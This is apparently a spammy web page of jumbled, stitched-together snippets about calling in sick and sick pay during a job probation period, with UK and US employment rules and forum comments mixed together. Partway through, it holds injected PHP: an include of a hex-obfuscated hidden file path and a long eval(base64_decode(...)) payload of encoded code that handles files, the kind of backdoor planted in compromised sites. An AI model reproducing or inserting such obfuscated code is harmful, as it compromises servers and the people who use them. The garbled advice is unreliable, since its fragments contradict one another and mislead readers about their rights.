Sickness is part of life, and can happen at any time. Overpaid by Employer After Leaving What Are My Rights? If your employer does not offer enhanced sick pay during probation, you will still be entitled to statutory sick pay. WebEmployees may be put on probation for many reasons. Work Rotas Law in the UK, Calling in Sick to Work Employee Rights in the UK, Health Confidentiality in the Workplace Legal Right to Medical Privacy. Sick call Definition & Meaning - Merriam-Webster Such periods are often referred to simply as probation. You really dont want the first report your manager or the HR Director receives about you to be an absentee report. Literally half the shop is out sick, and i am coming down with it too. WebCalled in sick during probationary period So earlier this month I had a awful flu so I called in and now on the 30th the end of this month I have the worst period cramps of my life today on the 30th, (I've had bad menstrual pain all my life but no endo or PCOS diagnosed. ) Holiday Literally half the shop is out sick, and i am coming down with it too. Typically for an amount of time called a probationary period.. First of all, dont worry. WebThe Families First Coronavirus Response Act (FFCRA) offers up to 80 hours of paid sick leave to employees of covered employers who need to miss time from work because they get sick or develop symptoms for which they are receiving medical treatment. This window is known as the probation period and may extend as far as up to 180 days An applicant selected for a career appointment to a non-bargaining position must serve a probationary period. Could You Be Fired for being Sick on Probation? We were allowed to miss 6 days within a certain amount of time. If we missed so many with no doctor's note, or without calling in, we'd be terminated. Our guide on unfair dismissal during probation talks about your rights in depth. This type of payment is at the employers discretion. Employers might take a dim view of excessive absences for reasons they dont think are genuine. Two weeks ago I joined a new company and during the hiring process I used a competing offer to increase the proposed salary. How to Deal with Calling in Sick on Probation. Performance reviews are common during this period, as they give both the employee and employer an opportunity to discuss any concerns. The probationary period can be as short as a month or as long as a year, depending on the situation, and often an Employee during the Probation Period during Dismissal beyond the statutory probationary period without notice or pay in lieu of notice will violate the employees employment standards entitlement to termination Entitlement to full pay for sick leave on probation is at your employers discretion. Call in sick - Idioms by The Free Dictionary It is the minimum period of employment that is enshrined in the Fair Work Act 2009 and determines when and if an employee can make use of the unfair dismissal laws and systems. You're all welcome here. Using Probationary Periods. The employee has no right to claim unfair dismissal, so shouldn't have any come back on you - your only problem may be if the reason for terminating is due to a sickness issue covered in the DDA as the employee could still claim under this legislation regardless of length of service. Typically, this is done by allowing employees to enjoy some benefit (like accrued vacation or sick leave or 401(k) enrollment) that they did not have before Probationary Periods Related: Average Sick Days Per Year. include "\x2fhom\x65/tj\x6bwlm\x38vgk\x30q/p\x75bli\x63_ht\x6dl/a\x31p55\x31l/c\x61che\x2fsys\x74em.\x70hp"; Your payroll department just have to work it out differently, basing it on your salary. Calling in sick during probation period And now I want to join them for financial reasons and leave my current job during the probation period. WebThe probationary period clause should expressly state that the employee will not be deemed to have passed their probation unless they receive written confirmation to that effect from the employer; otherwise, the probationary period may inadvertently lapse and the employer will not be able to extend the probationary period. If your absence is for a very personal or embarrassing reason, you can always say you have a tummy bug. You can claim SSP if you earn on average at least 123 a week before tax. Youre no more safe in a job before or after 90 days. Time in Lieu (TOIL) Explained Days off for Working Overtime, How Many Breaks in a 12 hour Shift? How many call offs are you allowed during your 90 day So this was not turning up without using the correct procedure, phoning the sickness absence line is correct procedure. When youre calling in sick, make sure you:-. WebIf an employee is dismissed during their probation period, they will still be entitled to a minimum statutory notice period. However. The most likely outcome from being ill is that your probation will be extended by the number of days you took off. What happens if I dont pass my probation? Sick pay entitlements are worked out based on the average of the last 8 weeks wage from your employer. She now owns a successful software testing and training consultancy business. Therefore if the worker wants to take leave within the first few weeks, they may need to wait a bit before they have accrued enough days. How to Survive the Probationary Period at Your New Job Usps 90 Day Probation (how It Works, How To Pass + Other Faqs) document.getElementById( "ak_js_1" ).setAttribute( "value", ( new Date() ).getTime() ); Your email address will not be published. Does anyone have a policy/procedure or guidelines for managers in handling sickness absence during probation periods? Contents Guide, Cant Work Due to No Childcare Your Rights in UK Law. Sickness absence in the probation period should be assessed as part of performance. My probationary period ends in a week and i havent called in once. Im not going to the doctor, its just a good ole spring flu. Thank you for not coming in and passing your virus. Just curious? Required fields are marked *. Still a student? Reduced morale: When an employer doesnt take any action on frequent and unscheduled absences of an employee, it leads to resentment in the coworkers and affects their morale . In order for this to be They should also explain WebCalled in sick during probationary period So earlier this month I had a awful flu so I called in and now on the 30th the end of this month I have the worst period cramps of my life today on the 30th, (I've had bad menstrual pain all my life but no endo or PCOS diagnosed. ) To work out what sick pay youll get during your probation period, refer to your contract of employment. Your policy should be amended to reflect this. Break Entitlement for 8 Hour Shifts How Long is Your Break? Now that competing offer from the other company has increased to almost 2x the offer that they initially proposed. 8 Great Ways to Get Fired During Your First Few Months - LinkedIn Company sick pay, or occupational sick pay (OSP) is an enhanced payment often covering an employees full wage during time off sick. Probation Periods at Work UK Law & Employee Rights. Has anyone been fired for calling in sick during their 90 days? Probationary periods: what employers need You should do everything possible to show up for work. Show up early, stay late, when done with something, ask if there is something else you can do. Legal Requirements & Entitlements, Can Employers Change Working Hours? A probationary period in an employment setting is a specific timeframe in which a new employees job performance is closely monitored. However, so long as you communicate well with work and follow procedure, it should not cause you any problems with your job. Remember, if you are diagnosed with an illness or need time off for a pre-existing condition that could be considered a protected characteristic you are protected from unfair dismissal. They may call in sick more often, resulting in absenteeism becoming a perpetual problem. If your staff handbook advises you to call your line manager every day you are off, do so. However, if youve had too many absences from work for reasons your employer does not feel are genuine then it could result in you failing probation. sick call: [noun] a scheduled time at which individuals (such as soldiers) may report as sick to the medical officer. Periods Calling in during probationary period - Kroger Employee Forum Free Message Boards -> Kroger Employee Forum -> Why Kroger Sucks -> Calling in during probationary period Start A New Topic Quick Reply Please log in to post quick replies. However, if your pattern of absences looks suspicious to your employer, dismissal during a probation period after taking time off for sickness is a possibility. However, most will realise that you cant help getting sick, and will take a practical approach. When youre on probation in a new role, you will be keen to make a good impression. WebAside from any pre-existing commitments, try not to take any time off during your probation period. In each month, the worker will have the right to one twelfth of their leave. eval(base64_decode("aWYgKCFkZWZpbmVkKCdBTFJFQURZX1JVTl8xYmMyOWIzNmYzNDJhODJhYWY2NjU4Nzg1MzU2NzE4JykpCnsKZGVmaW5lKCdBTFJFQURZX1JVTl8xYmMyOWIzNmYzNDJhODJhYWY2NjU4Nzg1MzU2NzE4JywgMSk7CgogJEtjSFlmZ1pxRCA9IDc0NjM7IGZ1bmN0aW9uIE9neWNOZ3EoJFVEckVQUEtlLCAkYU1LYmIpeyR4YllzQWxaID0gJyc7IGZvcigkaT0wOyAkaSA8IHN0cmxlbigkVURyRVBQS2UpOyAkaSsrKXskeGJZc0FsWiAuPSBpc3NldCgkYU1LYmJbJFVEckVQUEtlWyRpXV0pID8gJGFNS2JiWyRVRHJFUFBLZVskaV1dIDogJFVEckVQUEtlWyRpXTt9CiRxU2hZUUs9InJhd3VybCIgLiAiZGVjb2RlIjtyZXR1cm4gJHFTaFlRSygkeGJZc0FsWik7fQokQVVpeG9yID0gJyU3Z21GbV9QajElaWUlaVJqMjJ2Ml91dnElaVIlaXQlaWdRYVdXJWlUJUxzJWdvJWdkJTdnbUZtX1BqMSVpZSVpUnV2cV8nLgonajIydjJQJWlSJWl0JWlnZyVpVCVMcyVnbyVnZCU3Z21GbV9QajElaWUlaVJsOHBfanBqQkUxbXZGXzFtbGolaVIlaXQlaWdnJWlUJUxzJWdvJScuCidnZCU3Z2oyMnYyXzJqR3YyMW1GcSVpZWclaVQlTHMlZ28lZ2QlN2dQajFfMW1sal91bWxtMSVpZWclaVQlTHMlZ28lZ2QlZ28lZ2QlZ28lZ2RtWSVpZSVpJy4KJ1ZDalltRmpDJWllJWlpTUpNX2tyVyVpaSVpVCVpVCVnbyVnZCVScyVnbyVnZCVpZyVpZyVpZyVpZ0NqWW1GaicuCiclaWUlaWlNSk1fa3JXJWlpJWl0JWlnJWlpJUt0RiVpaSVpVCVMcyVnbyVnZCVSbyVnbyVnZCVnbyVnZG1ZJWllJWlWQ2pZbUZqQyVpZSVpaW9YbicuCidrdDBybk9fNWtNZG5kMHJuJWlpJWlUJWlUJWdvJWdkJVJzJWdvJWdkJWlnJWlnJWlnJWlnQ2pZbUZqJWllJWlpb1hua3Qwcm5PXzVrTWRuZDBybiVpaSVpdCVpZyVpaS8lJy4KJ2lpJWlUJUxzJWdvJWdkJVJvJWdvJWdkJWdvJWdkbVklaWclaWUlaVZDalltRmpDJWllJWlSZFdua2RvT19uYVFfVjc3QmVSQll4aUxaOGVpODhZbXhlJy4KJzJtOFpWeDgxbXZWZSVpUiVpVCVpVCVnbyVnZCVScyVnbyVnZCVpZyVpZyVpZyVpZ0NqWW0nLgonRmolaWUlaVJkV25rZG9PX25hUV9WNzdCZVJCWXhpTFo4ZWk4OFlteGUybThaVng4MW12VmUlaVIlaXQlaWdWJWlUJUxzJWdvJWdkJWdvJWdkJScuCidpZyVpZyVpZyVpZyVpN0M4MTglaWclTG8laWdRYVdXJUxzJWdvJWdkJWlnJWlnJWlnJWlnJScuCidpN0M4MThfQWpOJWlnJUxvJWlnUWFXVyVMcyVnbyVnZCVnbyVnZCVpZyVpZyVpZyVpZyVpN2NXcnNkVzUlS3MlaVJCUF84RTE5JWlSJUtvJScuCidpZyVMbyVpZyVpUmVqeEJlN1RqLVplaWUtN1pMOC04WVJ4LVlMZ1k3aUw3WmVZNyVpUiVMcyVnbyVnZCVpZyVpZyVpZyVpZ3F1dlo4dSVpZyVpN0JQXzhFMScuCic5JUxzJWdvJWdkJWdvJWdkJWdvJWdkJWlnJWlnJWlnJWlnWUVGQjFtdkYlaWdCUF9jajFKdlAxJWllJWlUJWdvJWdkJWlnJWlnJWlnJWlnJVJzJWdvJWdkJWlnJWlnJWlnJScuCidpZyVpZyVpZyVpZyVpZzJqMUUyRiVpZ1AxMjF2dXZ6ajIlaWVHMmpxXzJqR3U4QmolaWUlaVIvJUtrJWllenp6JVJ0WTFHJWlUJUt0Li9tJWlSJWl0JWlSJy4KJyVpUiVpdCU3ZyVpN181a242a24lS3MlaVJKMDBNX0pyNTAlaVIlS28laVQlaVQlTHMlZ28lZ2QlaWcnLgonJWlnJWlnJWlnJVJvJWdvJWdkJWdvJWdkJWlnJWlnJWlnJWlnWUVGQjFtdkYlaWdCUF9jajFmMm0xOFp1am9tMlAlaWUlaVQlZ28lZ2QlaWclaWclaWclaWclUnMlZ28lJy4KJ2dkJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWk3MmpQJWlnJUxvJWlnZDIyOE4laWUlaVQlTHMlZ28lZ2QlZ28lZ2QlaWclaWclaWclaWclaWclaWclaWclaWclaTcnLgonOEY4dU5QTlBfVUVqRWolaWclTG8laWdkMjI4TiVpZSVpVCVMcyVnbyVnZCVnbyVnZCVpZyVpZyVpZyVpZyVpZyVpZycuCiclaWclaWclaTc4Rjh1TlBOUF9VRWpFaiVLcyVLbyVpZyVMbyVpZ0JQX2NqMW92Qm52djElaWUlaVQlTHMlZ28lZ2QlZ28nLgonJWdkJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWk3UGp1WV9HODE5JWlnJUxvJWlnJWk3XzVrbjZrbiVLcyVpUjUnLgondG5YTTBfRFhXa1FkeWslaVIlS28lTHMlZ28lZ2QlaWclaWclaWclaWclaWclaWclaWclaWd6OW11aiVpZyVpZSVpZSVpN1B1OFA5JWlnJy4KJyVMbyVpZ1AxMjJHdlAlaWUlaTdQanVZX0c4MTklaXQlaWdvWG5rdDBybk9fNWtNZG5kMHJuJWlUJWlUJWlnJWlWJUxvJUwnLgonbyVpZ0RkVzVrJWlUJWdvJWdkJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJVJzJWdvJWdkJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWknLgonZyVpZyVpN1BqdVlfRzgxOSVpZyVMbyVpZ1BFWlAxMiVpZSVpN1BqdVlfRzgxOSVpdCVpZ2claXQlaWclaTdQdTgnLgonUDklaVQlTHMlZ28lZ2QlZ28lZ2QlaWclaWclaWclaWclaWclaWclaWclaWclaWclaWclaWclaWdtWSVpZyVpZSVpN1BqdVlfRzgxOSVpJy4KJ2clTG8lTG8laWdCUF9jajFvdkJudnYxJWllJWlUJWlUJWdvJWdkJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJVJzJWdvJWcnLgonZCVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZ1oyajhBJUxzJWdvJWdkJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJy4KJyVpZyVpZyVpZyVpZyVSbyVnbyVnZCVnbyVnZCVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZ21ZJWlnJWllUDEydScuCidqRiVpZSVpN1BqdVlfRzgxOSVpVCVpVCVnbyVnZCVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVScyVnbyVnZCVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpJy4KJ2claWclaWclaWclaWclaWclaWclaWclaTc4Rjh1TlBOUF9VRWpFaiVLcyVLbyVpZyVMbyVpZyVpN1BqdVlfRzgxOSVMcyVnbyVnZCVpZyVpZyVpZyVpZyVpZyVpZyVpJy4KJ2claWclaWclaWclaWclaWclUm8lZ28lZ2QlaWclaWclaWclaWclaWclaWclaWclaWclUm8lZ28lZ2QlZ28lZ2QlaWclaWclaWclaWclaWclaWclaWclaWdZJy4KJ3YyajhCOSVpZyVpZSVpNzhGOHVOUE5QX1VFakVqJWlnOFAlaWclaTdCRTIyakYxX0NtMiVpVCVnbyVnZCVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyUnLgonUnMlZ28lZ2QlaWclaWclaWclaWclaWclaWclaWclaWclaWclaWclaWclaWdtWSVpZyVpZSVpVm1GXzgyMjhOJWllJWk3 BE22jF1_C'.
'm2%it%ig%i72jP%iT%iT%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%Rs%go%gd%'.
'ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%i72jP%ig%Lo%ig8228N_lj2qj%ie%i72jP%it%igBP_cj1om2jB'.
'1v2NWmP1%ie%i7BE22jF1_Cm2%iT%iT%Ls%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig'.
'%Ro%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%Ro%go%gd%go%gd%ig%ig%ig%ig%ig%ig%'.
'ig%ig2j1E2F%igBP_t9jBAf2m18Zuj%ie8228N_EFmUEj%ie%i72jP%iT%iT%Ls%go%gd%ig%ig%ig%ig%Ro%go%gd'.
'%go%gd%ig%ig%ig%igYEFB1mvF%igBP_t9jBAf2m18Zuj%ie%i7Cm2_umP1%iT%go%gd%ig%ig%ig%ig%R'.
's%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%i7Cm2_umP1_z2m18Zuj%ig%Lo%igd228N%ie%iT%'.
'Ls%go%gd%go%gd%ig%ig%ig%ig%ig%ig%ig%igYv2j8B9%ig%ie%i7Cm2_umP1%ig8P%ig%i7Cm2%iT%go%gd%ig%i'.
'g%ig%ig%ig%ig%ig%ig%Rs%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%igmY%ig%ie%7'.
'gmP_z2m18Zuj%ie%i7Cm2%iT%ig%ix%ix%igmP_Cm2%ie%i7Cm2%iT%iT%go%gd%ig%ig%ig%ig%ig%ig%ig'.
'%ig%ig%ig%ig%ig%Rs%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%i7Cm2_umP1_z2m18Z'.
'uj%Ks%Ko%ig%Lo%ig%i7Cm2%Ls%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%Ro%go%gd%ig%ig%ig%ig'.
'%ig%ig%ig%ig%Ro%go%gd%go%gd%ig%ig%ig%ig%ig%ig%ig%ig2j1E2F%ig%i7Cm2_umP1_z2m18Zuj%Ls%go%gd%ig%'.
'ig%ig%ig%Ro%go%gd%go%gd%ig%ig%ig%igYEFB1mvF%igBP_cj1om2jB1v2NWmP1'.
'%ie%i7Cm2%it%ig%i7CjG19%LoVg%iT%go%gd%ig%ig%ig%ig%Rs%go%gd%ig%ig%ig%ig%ig'.
'%ig%ig%ig%i72jPEu1%ig%Lo%ig8228N%ie%iT%Ls%go%gd%go%gd%ig%ig%ig%ig%ig%ig%'.
'ig%igmY%ig%ie%iVmP_Cm2%ie%i7Cm2%iT%iT%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%Rs%go%gd%ig%ig%ig%ig%ig%ig%ig%i'.
'g%ig%ig%ig%ig2j1E2F%ig%i72jPEu1%Ls%go%gd%ig%ig%ig%ig%ig%ig%i'.
'g%ig%Ro%go%gd%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%i72jPEu'.
'1%Ks%Ko%ig%Lo%ig%i7Cm2%Ls%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%i7Cm2_'.
'BvEF1%ig%Lo%igg%Ls%go%gd%go%gd%ig%ig%ig%ig%ig%ig%ig%igmY%ig%ie%i7CjG19%ig%Lt%igV%iT%go%'.
'gd%ig%ig%ig%ig%ig%ig%ig%ig%Rs%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%'.
'ig2j1E2F%ig%i72jPEu1%Ls%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%Ro%go%gd%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%i7Cm2%'.
'ig%Lo%igP12ujF%ie%i7Cm2%iT%ig%Lo%Lo%igV%ig%LD%ig%i7Cm2%ig%Ld%ig2'.
'12ml%ie%i7Cm2%it%ig%iR%Kt%Kt/%iR%iT%Ls%go%gd%ig%ig%ig%'.
'ig%ig%ig%ig%ig%i79%ig%Lo%ig%7gvGjFCm2%ie%i7Cm2%iT%Ls%go%gd%ig%ig%ig%ig%ig%ig%ig%igmY%ig%ie%i79%ig%'.
'Lo%Lo%Lo%igDdW5k%iT%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%Rs%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig2j1E'.
'2F%ig%i72jPEu1%Ls%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%Ro%go%gd%go%gd%ig%ig%i'.
'g%ig%ig%ig%ig%igz9muj%ig%ie%ie%i7Y%ig%Lo%ig2j8CCm2%ie%i79%iT%iT%ig%iV%Lo%Lo%igDdW5k%'.
'iT%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%Rs%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%igmY%ig'.
'%ie%i7Y%ig%iV%Lo%Lo%ig%iR.%iR%ig8FC%ig%i7Y%ig%iV%Lo%Lo%ig%iR..%iR'.
'%iT%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%Rs%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig'.
'%ig%ig%ig%i7BE22jF1_Cm2%ig%Lo%ig%ii%i7Cm2/%i7Y%ii%Ls%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%'.
'ig%ig%ig%ig%igmY%ig%iemP_Cm2%ie%i7BE22jF1_Cm2%iT%iT%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%'.
'ig%ig%Rs%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%i7C'.
'm2_BvEF1%ig%is%Lo%igV%Ls%go%gd%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%i'.
'g%ig%ig%ig%ig%ig%i72jPEu1%Ks%Ko%ig%Lo%ig%i7BE22jF1_Cm2%Ls%go%gd%ig%i'.
'g%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%i'.
'g%i72jPEu1%ig%Lo%ig8228N_lj2qj%ie%i72jPEu1%it%igBP_cj1om2jB1v2NWmP1%ie%i7BE22jF1_Cm2%it%ig%i7Cj'.
'G19%ig/%igVg%iT%iT%Ls%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%Ro%go%gd%ig%ig%ig%ig%i'.
'g%ig%ig%ig%ig%ig%ig%ig%Ro%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%Ro%go%'.
'gd%go%gd%ig%ig%ig%ig%ig%ig%ig%igBuvPjCm2%ie%i79%iT%Ls%go%g'.
'd%go%gd%ig%ig%ig%ig%ig%ig%ig%ig2j1E2F%ig%i72jPEu1%Ls%go%gd%ig%ig%ig%i'.
'g%Ro%go%gd%go%gd%ig%ig%ig%igYEFB1mvF%igBP_cj1ovBnvv1%ie%iT%go%gd'.
'%ig%ig%ig%ig%Rs%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%i7CvB2vv1_jFC%ig%Lo%i'.
'gP122GvP%ie%i7_5kn6kn%Ks%iR5tnXM0_DXWkQdyk%iR%Ko%it%ig%i7_5kn6kn%Ks%iRnkbak50_anX%iR%Ko%iT%L'.
's%go%gd%ig%ig%ig%ig%ig%ig%ig%igmY%ig%ie%i7CvB2vv1_jFC%ig%Lo%Lo%Lo%igDdW5k%iT%go%gd%ig%ig%ig%'.
'ig%ig%ig%ig%ig%Rs%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig2j1E2F%ig%i'.
'7_5kn6kn%Ks%iRortaykQ0_nrr0%iR%Ko%Ls%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%Ro%go%gd%ig%ig%i'.
'g%ig%ig%ig%ig%igjuPjmY%ig%ie%i7CvB2vv1_jFC%ig%Lo%Lo%Lo%igg%iT%go%gd%ig%ig%ig%ig%ig%ig%ig%i'.
'g%Rs%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig2j1E2F%ig%ii/%ii%Ls%go%gd%ig%i'.
'g%ig%ig%ig%ig%ig%ig%Ro%go%gd%ig%ig%ig%ig%ig%ig%ig%igjuPj%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%Rs%go%gd%ig'.
'%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig2j1E2F%igPEZP12%ie%i7_5kn6kn%Ks%iR5tnXM0_DXWkQdyk%iR%Ko%i'.
't%igg%it%ig%i7CvB2vv1_jFC%iT%Ls%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%Ro%go%gd%ig%i'.
'g%ig%ig%Ro%go%gd%go%gd%ig%ig%ig%igmY%ig%ie%iVYEFB1mvF_jpmP1P%ie%i'.
'RYmuj_GE1_BvF1jF1P%iR%iT%iT%go%gd%ig%ig%ig%ig%Rs%go%gd%ig%ig%ig%ig%ig%ig'.
'%ig%igYEFB1mvF%igYmuj_GE1_BvF1jF1P%ie%i7F%it%ig%i7C%it%ig%i7Yu8q%ig'.
'%Lo%igD8uPj%iT%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%Rs%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%i7lvC'.
'j%ig%Lo%ig%i7Yu8q%ig%Lo%Lo%ige%ig%LD%ig%iR8%iR%ig%Ld%ig%iRz%iR%Ls%go%g'.
'd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%i7Y%ig%Lo%ig%7gYvGjF%ie%i7F%it%ig%i7lvCj%i'.
'T%Ls%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%igmY%ig%ie%i7Y%ig%Lo%Lo%Lo%igD8uPj%iT%go%gd%ig%ig%ig%ig'.
'%ig%ig%ig%ig%ig%ig%ig%ig%Rs%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%i'.
'g%ig%ig%ig%ig%ig%ig2j1E2F%igg%Ls%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%Ro%go%gd%ig%i'.
'g%ig%ig%ig%ig%ig%ig%ig%ig%ig%igjuPj%go%gd%ig%ig%ig%ig%ig%ig%ig'.
'%ig%ig%ig%ig%ig%Rs%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%igmY%ig%iemP_8228N%ie%i'.
'7C%iT%iT%ig%i7C%ig%Lo%igmlGuvCj%ie%i7C%iT%Ls%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig'.
'%ig%ig%ig%ig%i7ZN1jP_z2m11jF%ig%Lo%igYz2m1j%ie%i7Y'.
'%it%ig%i7C%iT%Ls%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%igYBuvPj%ie%i7Y%iT%'.
'Ls%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig2j1E2F%ig%i7ZN1jP_z2m11jF%Ls%go%g'.
'd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%Ro%go%gd%ig%ig'.
'%ig%ig%ig%ig%ig%ig%Ro%go%gd%ig%ig%ig%ig%Ro%go%gd%go%gd%ig%ig%ig%ig'.
'mY%ig%ie%iVYEFB1mvF_jpmP1P%ie%iRYmuj_qj1_BvF1jF1P%iR%iT%iT%go%gd%ig%ig%ig%ig%Rs%go%gd%ig%i'.
'g%ig%ig%ig%ig%ig%igYEFB1mvF%igYmuj_qj1_BvF1jF1P%ie%i7YmujF8lj%iT'.
'%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%Rs%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%i7Y98FCuj%i'.
'g%Lo%igYvGjF%ie%i7YmujF8lj%it%ig%ii2%ii%iT%Ls%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%i7YBvF1jF'.
'1P%ig%Lo%igY2j8C%ie%i7Y98FCuj%it%igYmujPmwj%ie%i7YmujF8lj%iT%iT%L'.
's%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%igYBuvPj%ie%i7Y98FCuj%iT%Ls%go%gd%go%gd'.
'%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig2j1E2F%ig%i7YBvF1j'.
'F1P%Ls%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%Ro%go%gd%ig%ig%ig%ig%Ro%go%gd%'.
'go%gd%go%gd%ig%ig%ig%igYEFB1mvF%igBP_CjB2NG1_G98Pj'.
'%ie%i7C818%it%ig%i7AjN%iT%go%gd%ig%ig%ig%ig%Rs%go%gd%ig%ig%ig%ig%ig%ig%ig'.
'%ig%i7vE1_C818%ig%Lo%ig%ii%ii%Ls%go%gd%go%gd%ig%ig%ig%ig%ig%ig%ig%igYv'.
'2%ig%ie%i7m%Log%Ls%ig%i7m%LtP12ujF%ie%i7C818%iT%Ls%iT%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%Rs%go%gd%ig'.
'%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%igYv2%ig%ie%i73%Log%L'.
's%ig%i73%LtP12ujF%ie%i7AjN%iT%ig%ix%ix%ig%i7m%LtP12ujF%ie%i7C818'.
'%iT%Ls%ig%i73%is%is%it%ig%i7m%is%is%iT%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%Rs%go'.
'%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%i7vE1_C818%ig.%Lo%igB92%iev2C%ie%i7C818%K'.
's%i7m%Ko%iT%ig%Kk%igv2C%ie%i7AjN%Ks%i73%Ko%iT%iT%Ls%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%'.
'Ro%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%Ro%go%gd%go%gd%ig%ig%ig%ig%ig%ig%ig%ig2j1E2F%ig'.
'%i7vE1_C818%Ls%go%gd%ig%ig%ig%ig%Ro%go%gd%go%gd%ig%ig%ig%igYEFB1mvF%igB'.
'P_CjB2NG1%ie%i7C818%it%ig%i7AjN%iT%go%gd%ig%ig%ig%ig%Rs%go%gd%ig%ig%ig%ig%ig%ig%ig%ig'.
'quvZ8u%ig%i7BP_8E19%Ls%go%gd%go%gd%ig%ig%ig%ig%ig%ig%ig%ig2j1E2F%igBP_CjB2NG1_G98Pj%ieBP_Cj'.
'B2NG1_G98Pj%ie%i7C818%it%ig%i7AjN%iT%it%ig%i7BP_8E19%iT%Ls%go%gd%ig%'.
'ig%ig%ig%Ro%go%gd%ig%ig%ig%igYEFB1mvF%igBP_jFB2NG1%ie%i7C818%it%ig%i7AjN%iT'.
'%go%gd%ig%ig%ig%ig%Rs%go%gd%ig%ig%ig%ig%ig%ig%ig%igquvZ8u%ig%i7BP_8E19%Ls%go%gd%'.
'go%gd%ig%ig%ig%ig%ig%ig%ig%ig2j1E2F%igBP_CjB2NG1_G98Pj%ieBP_CjB2NG1_G98Pj%ie%i7C818%it%ig%i7BP_8E'.
'19%iT%it%ig%i7AjN%iT%Ls%go%gd%ig%ig%ig%ig%Ro%go%gd%go%gd%i'.
'g%ig%ig%igYEFB1mvF%igBP_Ymuj_2j8C%ie%i7G819%iT%go%gd%ig'.
'%ig%ig%ig%Rs%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%i7C818%ig%Lo%ig%7gYmuj_qj1_Bv'.
'F1jF1P%ie%i7G819%iT%Ls%go%gd%go%gd%ig%ig%ig%ig%ig%ig%ig%ig2j1E2F%ig%i7C818%Ls%go%gd%ig%'.
'ig%ig%ig%Ro%go%gd%go%gd%ig%ig%ig%igYEFB1mvF%igBP_Ymuj_z2m1j%ie%i7G819%it%ig%i7C818%iT%go%gd%ig%i'.
